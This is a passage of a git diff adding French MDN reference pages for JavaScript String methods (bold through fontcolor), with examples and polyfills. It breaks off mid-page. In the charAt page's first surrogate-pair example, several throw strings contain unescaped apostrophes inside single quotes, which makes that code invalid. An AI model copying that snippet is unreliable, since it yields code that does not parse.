diff --git a/files/fr/web/javascript/reference/global_objects/string/bold/index.html b/files/fr/web/javascript/reference/global_objects/string/bold/index.html new file mode 100644 index 0000000000..4a2970edfc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/bold/index.html @@ -0,0 +1,83 @@ +--- +title: String.prototype.bold() +slug: Web/JavaScript/Reference/Objets_globaux/String/bold +tags: + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/bold +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode bold() crée un élément HTML {{HTMLElement("b")}} qui affiche la chaine de caractères en gras.

+ +

Syntaxe

+ +
str.bold()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("b")}}.

+ +

Description

+ +

La méthode bold() place la chaine de caractères dans une balise <b> :
+ "<b>str</b>"

+ +

Exemples

+ +

L'exemple suivant utilise des méthodes de String pour changer l'affichage de la chaine de caractères :

+ +
var chaîneMonde = "Coucou monde";
+
+console.log( chaîneMonde.blink()   );
+console.log( chaîneMonde.bold()    );
+console.log( chaîneMonde.italics() );
+console.log( chaîneMonde.strike()  );
+ +

Cet exemple produit le même HTML que le code suivant :

+ +
<blink>Coucou monde</blink>
+<b>Coucou monde</b>
+<i>Coucou monde</i>
+<strike>Coucou monde</strike>
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.bold', 'String.prototype.bold')}}{{Spec2('ES6')}}Définition initiale. Implémentée avec JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.bold', 'String.prototype.bold')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités additionnelles des navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.bold")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.blink()")}}
    • +
  • {{jsxref("String.prototype.italics()")}}
    • +
  • {{jsxref("String.prototype.strike()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/charat/index.html b/files/fr/web/javascript/reference/global_objects/string/charat/index.html new file mode 100644 index 0000000000..712ffd5ff3 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/charat/index.html @@ -0,0 +1,249 @@ +--- +title: String.prototype.charAt() +slug: Web/JavaScript/Reference/Objets_globaux/String/charAt +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/charAt +--- +
{{JSRef}}
+ +

La méthode charAt() renvoie une nouvelle chaîne contenant le caractère (ou, plus précisément, le point de code UTF-16)  à la position indiquée en argument.

+ +
{{EmbedInteractiveExample("pages/js/string-charat.html")}}
+ + + +

Syntaxe

+ +
str.charAt(index)
+ +

Paramètres

+ +
+
index
+
Un entier entre 0 et la longueur de la chaîne - 1. Si aucun index n'est fourni (ce qui correspond à fournir {{jsxref("undefined")}}) ou si l'index ne peut pas être converti en entier, la recherche sera effectuée à l'index 0 et le premier caractère sera donc renvoyé.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le point de code UTF-16 à la position indiquée. Si la position est dehors de la chaîne, ce sera une chaîne vide.

+ +

Description

+ +

Les caractères d'une chaîne sont indexés de la gauche vers la droite. L'indice du premier caractère est 0 et l'indice du dernier caractère est la longueur de la chaîne moins un (par exemple, si on a une chaîne toto, le dernier caractère de la chaine aura l'indice toto.length - 1). Si l'indice fourni est en dehors de cet intervalle, la méthode renverra une chaîne vide. Si aucun indice n'est fourni, la valeur par défaut utilisée sera 0.

+ +

Exemples

+ +

Afficher les caractères situés à différentes positions d'une chaîne

+ +

L'exemple suivant affiche les caractères à différentes positions de la chaîne "Coucou tout le monde" :

+ +
var uneChaîne = "Coucou tout le monde";
+
+console.log("La caractère d'indice 0 est '" + uneChaîne.charAt(0)   + "'");
+console.log("La caractère d'indice 1 est '" + uneChaîne.charAt(1)   + "'");
+console.log("La caractère d'indice 2 est '" + uneChaîne.charAt(2)   + "'");
+console.log("La caractère d'indice 3 est '" + uneChaîne.charAt(3)   + "'");
+console.log("La caractère d'indice 4 est '" + uneChaîne.charAt(4)   + "'");
+console.log("La caractère d'indice 999 est '" + uneChaîne.charAt(999) + "'");
+
+ +

Ces lignes afficheront respectivement :

+ +
La caractère d'indice 0 est 'C'
+La caractère d'indice 1 est 'o'
+La caractère d'indice 2 est 'u'
+La caractère d'indice 3 est 'c'
+La caractère d'indice 4 est 'o'
+La caractère d'indice 999 est ''
+
+ +

Obtenir des caractères complets

+ +

Le code qui suit permet de s'assurer qu'on récupère des caractères complets et ce même si la chaîne de caractères contient des caractères en dehors du plan multilingue de base (BMP) (qui sont donc représentés sur deux unités de code/codets) :

+ +
var str = 'A \uD87E\uDC04 Z'; // On pourrait aussi utiliser un caractère hors du BMP directement
+for (var i=0, chr; i < str.length; i++) {
+  if ((chr = getWholeChar(str, i)) === false) {
+    continue;
+  } // On adapte cette ligne pour chaque boucle, en passant la chaîne de caractères
+    // et on renvoie une variable représentant le caractère individuel
+
+  console.log(chr);
+}
+
+function getWholeChar(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // la position n'a pas pu être trouvée
+  }
+  if (code < 0xD800 || code > 0xDFFF) {
+    return str.charAt(i);
+  }
+
+  // On traite ici le demi codet supérieur (high surrogate)
+  // La borne supérieure du test pourrait être 0xDB7F afin de prendre en compte
+  // les demi-codets privés comme des caractères uniques
+  if (0xD800 <= code && code <= 0xDBFF) {
+    if (str.length <= (i+1))  {
+      throw 'le demi-codet supérieur n'est pas suivi par un demi-codet inférieur';
+    }
+    var next = str.charCodeAt(i+1);
+      if (0xDC00 > next || next > 0xDFFF) {
+        throw 'le demi-codet supérieur n'est pas suivi par un demi-codet inférieur';
+      }
+      return str.charAt(i)+str.charAt(i+1);
+  }
+  // on gère le demi codet inférieur (0xDC00 <= code && code <= 0xDFFF)
+  if (i === 0) {
+    throw 'le demi-codet inférieur n'est pas précédé d'un demi-codet supérieur';
+  }
+  var prev = str.charCodeAt(i-1);
+
+  // (la borne supérieure pourrait être modifiée en 0xDB7F afin de traiter
+  // les demi-codets supérieurs privés comme des caractètres uniques)
+  if (0xD800 > prev || prev > 0xDBFF) {
+    throw 'le demi-codet inférieur n'est pas précédé d'un demi-codet supérieur';
+  }
+  // on peut passer des demis codets inférieurs comme deuxième composant
+  // d'une paire déjà traitée
+  return false;
+}
+
+
+ +

Dans un environnement ECMAScript 2016 qui permet d'utiliser l'affectation par décomposition, on peut obtenir une version plus succincte et flexible :

+ +
var str = 'A\uD87E\uDC04Z'; // We could also use a non-BMP character directly
+for (var i=0, chr; i < str.length; i++) {
+  [chr, i] = getWholeCharAndI(str, i);
+  // Adapt this line at the top of each loop, passing in the whole string and
+  // the current iteration and returning an array with the individual character
+  // and 'i' value (only changed if a surrogate pair)
+
+  console.log(chr);
+}
+
+function getWholeCharAndI(str, i) {
+  var code = str.charCodeAt(i);
+
+  if (Number.isNaN(code)) {
+    return ''; // Position not found
+  }
+  if (code < 0xD800 || code > 0xDFFF) {
+    return [str.charAt(i), i]; // Normal character, keeping 'i' the same
+  }
+
+  // High surrogate (could change last hex to 0xDB7F to treat high private
+  // surrogates as single characters)
+  if (0xD800 <= code && code <= 0xDBFF) {
+    if (str.length <= (i+1))  {
+      throw 'High surrogate without following low surrogate';
+    }
+    var next = str.charCodeAt(i+1);
+      if (0xDC00 > next || next > 0xDFFF) {
+        throw 'High surrogate without following low surrogate';
+      }
+      return [str.charAt(i)+str.charAt(i+1), i+1];
+  }
+  // Low surrogate (0xDC00 <= code && code <= 0xDFFF)
+  if (i === 0) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  var prev = str.charCodeAt(i-1);
+
+  // (could change last hex to 0xDB7F to treat high private surrogates
+  // as single characters)
+  if (0xD800 > prev || prev > 0xDBFF) {
+    throw 'Low surrogate without preceding high surrogate';
+  }
+  // Return the next character instead (and increment)
+  return [str.charAt(i+1), i+1];
+}
+ +

Créer une version de charAt qui permet de supporter des caractères hors du plan basique multilingue (BMP)

+ +

Si on souhaite récupérer les paires de codets des caractères hors du plan classique, on peut utiliser le code suivant :

+ +
function fixedCharAt (str, idx) {
+  var ret = '';
+  str += '';
+  var end = str.length;
+
+  var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+  while ((surrogatePairs.exec(str)) != null) {
+    var li = surrogatePairs.lastIndex;
+    if (li - 2 < idx) {
+      idx++;
+    } else {
+      break;
+    }
+  }
+
+  if (idx >= end || idx < 0) {
+    return '';
+  }
+
+  ret += str.charAt(idx);
+
+  if (/[\uD800-\uDBFF]/.test(ret) && /[\uDC00-\uDFFF]/.test(str.charAt(idx+1))) {
+    // On avance d'un puisque l'un des caractères fait partie de la paire
+    ret += str.charAt(idx+1);
+  }
+  return ret;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale
{{SpecName('ES5.1', '#sec-15.5.4.4', 'String.prototype.charAt')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.charat', 'String.prototype.charAt')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.charat', 'String.prototype.charAt')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.charAt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.indexOf()")}}
    • +
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • +
  • {{jsxref("String.prototype.charCodeAt()")}}
    • +
  • {{jsxref("String.prototype.codePointAt()")}}
    • +
  • {{jsxref("String.prototype.split()")}}
    • +
  • {{jsxref("String.fromCodePoint()")}}
    • +
  • JavaScript a un problème avec Unicode, billet de Mathias Bynens (en anglais)
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/charcodeat/index.html b/files/fr/web/javascript/reference/global_objects/string/charcodeat/index.html new file mode 100644 index 0000000000..1295d3edc5 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/charcodeat/index.html @@ -0,0 +1,173 @@ +--- +title: String.prototype.charCodeAt() +slug: Web/JavaScript/Reference/Objets_globaux/String/charCodeAt +tags: + - JavaScript + - Méthode + - Reference + - String + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt +--- +
{{JSRef}}
+ +

La méthode charCodeAt() retourne un entier compris entre 0 et 65535 qui correspond au code UTF-16 d'un caractère de la chaîne situé à une position donnée.

+ +
{{EmbedInteractiveExample("pages/js/string-charcodeat.html")}}
+ + + +

Le codet UTF-16 renvoyé correspond au codet Unicode si le caractère peut être représenté sur un seul codet. Si le codet Unicode ne peut pas être représenté sur un seul codet UTF-16 (car sa valeur est supérieure à 0xFFFF), seule la première partie de la paire sera renvoyée. Si vous souhaitez obtenir l'ensemble de la valeur, vous pouvez utiliser la méthode {{jsxref("String.prototype.codePointAt()","codePointAt()")}}.

+ +

Syntaxe

+ +
str.charCodeAt(indice)
+ +

Paramètres

+ +
+
indice
+
Un entier supérieur ou égal à zéro et strictement inférieur à la longueur de la chaîne. La valeur par défaut (si le paramètre est absent ou n'est pas un nombre) sera zéro (0).
+
+ +

Valeur de retour

+ +

Un nombre qui représente la valeur du point de code UTF-16 pour le caractère à la position indiquée. Si index pointe en dehors de la chaîne, ce sera {{jsxref("Objets_globaux/NaN","NaN")}} qui sera renvoyé.

+ +

Description

+ +

Les codets Unicode vont de 0 à 1 114 111 (0x10FFFF). Les 128 premiers caractères Unicode correspondent aux caractères ASCII (leur encodage est le même). Pour plus d'informations sur la gestion de l'Unicode en JavaScript, voir le Guide JavaScript.

+ +

La méthode charCodeAt() renverra toujours une valeur inférieure à 65 536. En effet, les caractères encodés sur les plus grandes valeurs sont encodés sur deux « demi-codets » (appelés surrogate pair en anglais). Pour recomposer de tels caractères, il faut donc utiliser charCodeAt(i) et aussi charCodeAt(i+1) afin de pouvoir récupérer chaque demi-codet. Pour plus de détails, voir le deuxième et troisième exemples.

+ +

charCodeAt() renverra {{jsxref("NaN")}} si l'indice fourni est strictement inférieur à 0 ou dépasse la longueur de la chaîne.

+ +

Dans les anciennes versions (JavaScript 1.2 par exemple) la méthode charCodeAt() renvoyait la valeur du caractère selon l'encodage ISO-Latin-1. L'encodage ISO-Latin-1 permet de représenter des caractères dont les valeurs vont de 0 à 255. Les valeurs 0 à 127 correspondent aux différentes valeurs ASCII.

+ +

Exemples

+ +

Utiliser charCodeAt()

+ +

L'exemple suivant retourne 65, la valeur Unicode de A.

+ +
"ABC".charCodeAt(0) // returns 65
+
+ +

Utiliser charCodeAt pour gérer les caractères hors du plan multilingue de base sans hypothèse sur leur présence

+ +

Cette fonction peut être utilisée dans des boucles ou autres dans les cas où on ne sait pas si des caractères représentés sur deux demi-codets (hors du plan BMP) existent avant la position indiquée.

+ +
function fixedCharCodeAt (str, idx) {
+    // ex. fixedCharCodeAt ('\uD800\uDC00', 0); // 65536
+    // ex. fixedCharCodeAt ('\uD800\uDC00', 1); // false
+    idx = idx || 0;
+    var code = str.charCodeAt(idx);
+    var hi, low;
+
+    // On gère le demi-codet supérieur (la borne supérieure
+    // utilisée pourrait être 0xDB7F afin de traiter les
+    // paires surrogates privées comme des caractères uniques)
+    if (0xD800 <= code && code <= 0xDBFF) {
+        hi = code;
+        low = str.charCodeAt(idx+1);
+        if (isNaN(low)) {
+            throw "Le demi-codet supérieur n'est pas suivi "+
+                  "par un demi-codet inférieur dans fixedCharCodeAt()";
+        }
+        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+    }
+    if (0xDC00 <= code && code <= 0xDFFF) {
+    // Demi-codet inférieur
+
+        // On renvoie false pour permettre aux boucles
+        // car le cas a normalement déjà été géré avec
+        // l'étape précédente
+        return false;
+    }
+    return code;
+}
+
+ +

Utiliser charCodeAt() pour gérer les caractères du plan multilingue de base (en sachant qu'ils sont présents)

+ +
function knownCharCodeAt (str, idx) {
+    str += '';
+    var code,
+        end = str.length;
+
+    var surrogatePairs = /[\uD800-\uDBFF][\uDC00-\uDFFF]/g;
+    while ((surrogatePairs.exec(str)) != null) {
+        var li = surrogatePairs.lastIndex;
+        if (li - 2 < idx) {
+            idx++;
+        }
+        else {
+            break;
+        }
+    }
+
+    if (idx >= end || idx < 0) {
+        return NaN;
+    }
+
+    code = str.charCodeAt(idx);
+
+    var hi, low;
+    if (0xD800 <= code && code <= 0xDBFF) {
+        hi = code;
+        low = str.charCodeAt(idx+1);
+        // On prend un caractère de plus
+        // car on a deux demi-codets à récupérer
+        return ((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000;
+    }
+    return code;
+}
+
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.5', 'String.prototype.charCodeAt')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.charcodeat', 'String.prototype.charCodeAt')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.charCodeAt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.fromCharCode()")}}
    • +
  • {{jsxref("String.prototype.charAt()")}}
    • +
  • {{jsxref("String.fromCodePoint()")}}
    • +
  • {{jsxref("String.prototype.codePointAt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/codepointat/index.html b/files/fr/web/javascript/reference/global_objects/string/codepointat/index.html new file mode 100644 index 0000000000..016b2d6aae --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/codepointat/index.html @@ -0,0 +1,144 @@ +--- +title: String.prototype.codePointAt() +slug: Web/JavaScript/Reference/Objets_globaux/String/codePointAt +tags: + - ECMAScript 2015 + - JavaScript + - Méthode + - Prototype + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/codePointAt +--- +
{{JSRef}}
+ +

La méthode codePointAt() renvoie un entier positif qui correspond au code Unicode (code point) du caractère de la chaîne à la position donnée.

+ +
{{EmbedInteractiveExample("pages/js/string-codepointat.html")}}
+ + + +

Syntaxe

+ +
str.codePointAt(pos)
+ +

Paramètres

+ +
+
pos
+
La position de l'élément dans la chaîne de caractères dont on souhaite obtenir la valeur du codet.
+
+ +

Valeur de retour

+ +

Un nombre qui représente la valeur du point de code du caractère à la position indiqué. C'est la valeur {{jsxref("undefined")}} qui est renvoyée s'il n'y aucun élément à pos.

+ +

Description

+ +

S'il n'y a pas d'élément à la position donnée, la valeur renvoyée sera {{jsxref("undefined")}}. Si ce n'est pas un élément représenté sur deux demi-codets (surrogate pair) UTF-16 et qui commence à pos, le codet de l'élément à l'indice pos est renvoyé.

+ +

Exemples

+ +
'ABC'.codePointAt(1);          // 66
+'\uD800\uDC00'.codePointAt(0); // 65536
+
+'XYZ'.codePointAt(42); // undefined
+
+ +

Prothèse d'émulation (polyfill)

+ +

Le fragment de code suivant permet d'ajouter la méthode codePointAt() pour les chaînes de caractères (String). En effet, cette méthode fait partie de ECMAScript 2015 et certains navigateurs peuvent ne pas proposer cette fonction nativement.

+ +
/*! https://mths.be/codepointat v0.2.0 by @mathias */
+if (!String.prototype.codePointAt) {
+  (function() {
+    'use strict'; // needed to support `apply`/`call` with `undefined`/`null`
+    var defineProperty = (function() {
+      // IE 8 only supports `Object.defineProperty` on DOM elements
+      try {
+        var object = {};
+        var $defineProperty = Object.defineProperty;
+        var result = $defineProperty(object, object, object) && $defineProperty;
+      } catch(error) {}
+      return result;
+    }());
+    var codePointAt = function(position) {
+      if (this == null) {
+        throw TypeError();
+      }
+      var string = String(this);
+      var size = string.length;
+      // `ToInteger`
+      var index = position ? Number(position) : 0;
+      if (index != index) { // better `isNaN`
+        index = 0;
+      }
+      // Account for out-of-bounds indices:
+      if (index < 0 || index >= size) {
+        return undefined;
+      }
+      // Get the first code unit
+      var first = string.charCodeAt(index);
+      var second;
+      if ( // check if it’s the start of a surrogate pair
+        first >= 0xD800 && first <= 0xDBFF && // high surrogate
+        size > index + 1 // there is a next code unit
+      ) {
+        second = string.charCodeAt(index + 1);
+        if (second >= 0xDC00 && second <= 0xDFFF) { // low surrogate
+          // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+          return (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
+        }
+      }
+      return first;
+    };
+    if (defineProperty) {
+      defineProperty(String.prototype, 'codePointAt', {
+        'value': codePointAt,
+        'configurable': true,
+        'writable': true
+      });
+    } else {
+      String.prototype.codePointAt = codePointAt;
+    }
+  }());
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.codepointat', 'String.prototype.codePointAt')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.codePointAt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.fromCodePoint()")}}
    • +
  • {{jsxref("String.fromCharCode()")}}
    • +
  • {{jsxref("String.prototype.charCodeAt()")}}
    • +
  • {{jsxref("String.prototype.charAt()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/concat/index.html b/files/fr/web/javascript/reference/global_objects/string/concat/index.html new file mode 100644 index 0000000000..184d38d6fc --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/concat/index.html @@ -0,0 +1,106 @@ +--- +title: String.prototype.concat() +slug: Web/JavaScript/Reference/Objets_globaux/String/concat +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/concat +--- +
{{JSRef}}
+ +

La méthode concat() combine le texte de plusieurs chaînes avec la chaîne appelante et renvoie la nouvelle chaîne ainsi formée.

+ +
{{EmbedInteractiveExample("pages/js/string-concat.html")}}
+ + + +

Syntaxe

+ +
str.concat(string2[, string3, ..., stringN])
+ +

Paramètres

+ +
+
string2...stringN
+
Chaînes de caractères à concaténer ensemble.
+
+ +

Valeur de retour

+ +

Une nouvelle chaîne de caractères qui contient la concaténation des chaînes de caractères fournies.

+ +

Description

+ +

La fonction concat() renvoie une nouvelle chaîne correspondant à la concaténation des différents arguments avec la chaîne courante. La chaîne courante est celle sur laquelle a été appelée la méthode concat(). Si les valeurs passées en arguments ne sont pas des chaînes de caractères, elles sont automatiquement converties en chaînes (grâce à leur méthode toString() avant la concaténation).

+ +

Exemples

+ +

L'exemple suivant combine plusieurs chaînes afin d'en former une nouvelle.

+ +
var coucou = "Bonjour ";
+console.log(coucou.concat("Tristan,", " bonne journée."));
+
+/* Bonjour Tristan, bonne journée. */
+
+var salutation = ['Bonjour', ' ', 'Alfred', ' ', '!'];
+"".concat(...salutation); // "Bonjour Alfred !"
+
+"".concat({});   // [object Object]
+"".concat([]);   // ""
+"".concat(null); // "null"
+"".concat(true); // "true"
+"".concat(4, 5); // "45"
+
+
+ +

Performance

+ +

Il est fortement recommandé d'utiliser les {{jsxref("Opérateurs/Opérateurs_d_affectation", "opérateurs d'affectation", "", 1)}} (+, +=) plutôt que la méthode concat() pour des raisons de performance.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES3')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.2.
{{SpecName('ES5.1', '#sec-15.5.4.6', 'String.prototype.concat')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-string.prototype.concat', 'String.prototype.concat')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-string.prototype.concat', 'String.prototype.concat')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.concat")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.concat()")}}
    • +
  • {{jsxref("Opérateurs/Opérateurs_d_affectation", "Les opérateurs d'affectation", "", 1)}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/endswith/index.html b/files/fr/web/javascript/reference/global_objects/string/endswith/index.html new file mode 100644 index 0000000000..32e72b6791 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/endswith/index.html @@ -0,0 +1,103 @@ +--- +title: String.prototype.endsWith() +slug: Web/JavaScript/Reference/Objets_globaux/String/endsWith +tags: + - JavaScript + - Méthode + - Prototype + - Reference + - String + - polyfill +translation_of: Web/JavaScript/Reference/Global_Objects/String/endsWith +--- +
{{JSRef}}
+ +

La méthode endsWith() renvoie un booléen indiquant si la chaine de caractères se termine par la chaine de caractères fournie en argument.

+ +
{{EmbedInteractiveExample("pages/js/string-endswith.html")}}
+ + + +

Syntaxe

+ +
str.endsWith(chaîneRecherchée[, position]);
+ +

Paramètres

+ +
+
chaîneRecherchée
+
Les caractères à rechercher à la fin de la chaine de caractères.
+
position {{optional_inline}}
+
Paramètre optionnel. Permet de rechercher dans la chaine de caractères comme si elle faisait cette longueur ; par défaut il s'agit de la longueur de la chaine de caractères chaîneRecherchée. Si la valeur fournie est supérieure à la longueur de la chaine de caractères, elle ne sera pas prise en compte.
+
+ +

Valeur de retour

+ +

true si la chaîne de caractères se termine par la sous-chaîne indiquée, false sinon.

+ +

Description

+ +

Cette méthode permet de savoir si une chaine de caractères se termine avec une certaine chaine de caractères (comme les autres méthodes fonctionnant avec des chaînes de caractères, cette méthode est sensible à la casse).

+ +

Exemples

+ +
var str = "Être, ou ne pas être : telle est la question.";
+
+console.log(str.endsWith("question."));     // true
+console.log(str.endsWith("pas être"));      // false
+console.log(str.endsWith("pas être", 20));  // true
+
+ +

Prothèse d'émulation (polyfill)

+ +

Cette méthode a été ajoutée dans la spécification ECMAScript 6 et peut ne pas être disponible dans toutes les implémentations de JavaScript. Cependant, il est possible d'émuler le comportement de String.prototype.endsWith avec le fragment de code suivant :

+ +
if (!String.prototype.endsWith) {
+  String.prototype.endsWith = function(searchString, position) {
+    var subjectString = this.toString();
+    if (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > subjectString.length) {
+      position = subjectString.length;
+    }
+    position -= searchString.length;
+    var lastIndex = subjectString.lastIndexOf(searchString, position);
+    return lastIndex !== -1 && lastIndex === position;
+  };
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}{{Spec2('ES6')}}Définition initiale.
{{SpecName('ESDraft', '#sec-string.prototype.endswith', 'String.prototype.endsWith')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.endsWith")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.startsWith()")}}
    • +
  • {{jsxref("String.prototype.includes()")}}
    • +
  • {{jsxref("String.prototype.indexOf()")}}
    • +
  • {{jsxref("String.prototype.lastIndexOf()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/fixed/index.html b/files/fr/web/javascript/reference/global_objects/string/fixed/index.html new file mode 100644 index 0000000000..711a2310de --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/fixed/index.html @@ -0,0 +1,74 @@ +--- +title: String.prototype.fixed() +slug: Web/JavaScript/Reference/Objets_globaux/String/fixed +tags: + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fixed +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode fixed() permet de créer un élément HTML {{HTMLElement("tt")}}, ce qui permet d'afficher le texte de la chaîne de caractère dans une fonte à chasse fixe.

+ +

Syntaxe

+ +
str.fixed()
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("tt")}}.

+ +

Description

+ +

La méthode fixed() encadre une chaîne de caractères dans une balise <tt> :
+ "<tt>str</tt>"

+ +

Exemples

+ +

L'exemple suivant illustre l'utilisation de la méthode fixed pour formater une chaîne de caractères :

+ +
var worldString = "Coucou monde";
+
+console.log(worldString.fixed());
+// "<tt>Coucou monde</tt>"
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES6', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}{{Spec2('ES6')}}Définition initiale. Implémentée dans JavaScript 1.0. Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
{{SpecName('ESDraft', '#sec-string.prototype.fixed', 'String.prototype.fixed')}}{{Spec2('ESDraft')}}Définie dans l'annexe B (normative) pour les fonctionnalités ECMAScript additionnelles pour les navigateurs web.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.String.fixed")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("String.prototype.bold()")}}
    • +
  • {{jsxref("String.prototype.italics()")}}
    • +
  • {{jsxref("String.prototype.strike()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.html b/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.html new file mode 100644 index 0000000000..19e2c9ff30 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/string/fontcolor/index.html @@ -0,0 +1,89 @@ +--- +title: String.prototype.fontcolor() +slug: Web/JavaScript/Reference/Objets_globaux/String/fontcolor +tags: + - Déprécié + - JavaScript + - Méthode + - Prototype + - Reference + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor +--- +
{{JSRef}}{{deprecated_header}}
+ +

La méthode fontcolor() permet de créer un élément {{HTMLElement("font")}} qui permet d'afficher la chaine de caractères dans une fonte utilisant la couleur donnée.

+ +
+

Note : L'élément <font> a été retiré dans HTML5 et ne devrait plus être utilisé. Les propriétés CSS permettent de modifier les aspects de mise en forme et doivent donc être utilisées à la place.

+
+ +

Syntaxe

+ +
str.fontcolor(couleur)
+ +

Paramètres

+ +
+
couleur
+
Une chaîne de caractères représentant la couleur en une valeur hexadécimale RGB ou comme un littéral. Les différents littéraux utilisables pour les noms de couleurs sont listés dans la référence des couleurs CSS.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant un élément HTML {{HTMLElement("font")}}.

+ +

Description

+ +

Si la couleur est représentée sous forme d'un triplet RVB, le format attendu est rrvvbb. Ainsi, pour représenter un rose saumon, les différentes composantes seront rouge = FA,  vert = 80, et bleu = 72, le triplet s'écrit donc "FA8072".

+ +

Exemples

+ +

L'exemple qui suit illustre comment utiliser la méthode fontcolor() pour modifier la couleur d'une chaîne de caractères en créant une balise <font> qui encadre la chaîne.

+ +
var worldString = "Coucou monde";
+
+console.log(worldString.fontcolor("red") +  " avec le littéral red sur cette ligne");
+// '<font color="red">Coucou monde</font> avec le littéral red sur cette ligne'
+
+console.log(worldString.fontcolor("FF00") + " avec la valeur hexadécimale sur cette ligne");
+// '<font color="FF00">Coucou monde</font> avec la valeur hexadécimale sur cette ligne'
+
+ +

L'objet {{domxref("HTMLElement.style", "element.style")}} permet d'utiliser l'attribut style de l'élément et de le manipuler de façon générique. Par exemple :

+ +
